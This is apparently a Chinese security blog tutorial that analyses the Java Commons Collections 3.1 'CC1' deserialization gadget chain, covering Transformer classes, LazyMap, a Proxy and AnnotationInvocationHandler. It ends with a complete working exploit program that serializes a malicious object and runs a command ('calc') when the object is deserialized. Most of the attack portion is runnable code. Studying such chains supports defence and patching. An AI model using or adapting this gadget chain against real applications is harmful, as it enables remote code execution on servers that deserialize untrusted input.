Java CommonsCollections1 反序列化分析
环境搭建
创建Maven项目后,导入如下依赖
注:本文复现环境 jdk1.7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
CC1链分析
分析触发点
其实CC1链主要还是利用Transformer通过内部反射构造出Runtime.getRuntime().exec(“cmd”)来执行命令
代码如下:
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(Object.class);

Transformer
Transformer接口存在transform方法
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
其中Transformer接口有如下实现类
ChainedTransformer
构造方法:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
transform实现:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer
构造方法:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
transform实现:
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer
构造方法:
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
transform实现:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
了解过反射相关的知识的话不难看出,可以多次利用ConstantTransformer和InvokerTransformer构造出Rumtime….exec()反射链,但此时构造的反射链只是一个个独立的Transformer实例,需要由ChainedTransformer实现的transform方法将前面构造的多个实例组成的数组连起来实现命令执行
代码如下
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(Object.class);
单利用Transformer链命令执行需要调用transform方法才能触发,实现更简单触发实现命令执行需要找到更完美的调用链。
构建利用链
前面已经分析出命令执行需要调用transform方法才能触发,利用最朴实无华的方法找到LazyMap重写父类Map的get方法会调用transform

利用LazyMap调用Transformer链实现命令执行相关实现代码
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
map.get("");

但这里仍存在同样问题,LazyMap的get方法也需要被调用才可以触发命令执行
从Ysoserial的cc1相关代码发现 其中代理类AnnotationInvocationHandler的invoke方法可对传入的LazyMap对象调用其get方法

一环套一环,触发AnnotationInvocationHandler的invoke方法需要对其实现的变量进行操作,所以可以先用java.lang.reflect.Proxy封装一个LazyMap
代码如下
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
当调用proxy_map方法时会触发AnnotationInvocationHandler的invoke方法并命令执行



继续分析
AnnotationInvocationHandler不仅实现了代理接口,同样实现了序列化接口并重写了readObject
图下代码中可看出,在进行反序列化时会对传入的Map执行entrySet方法(此时的Map即前面用Proxy包装的LazyMap)

成功命令执行

完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
proxy_map.entrySet();
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}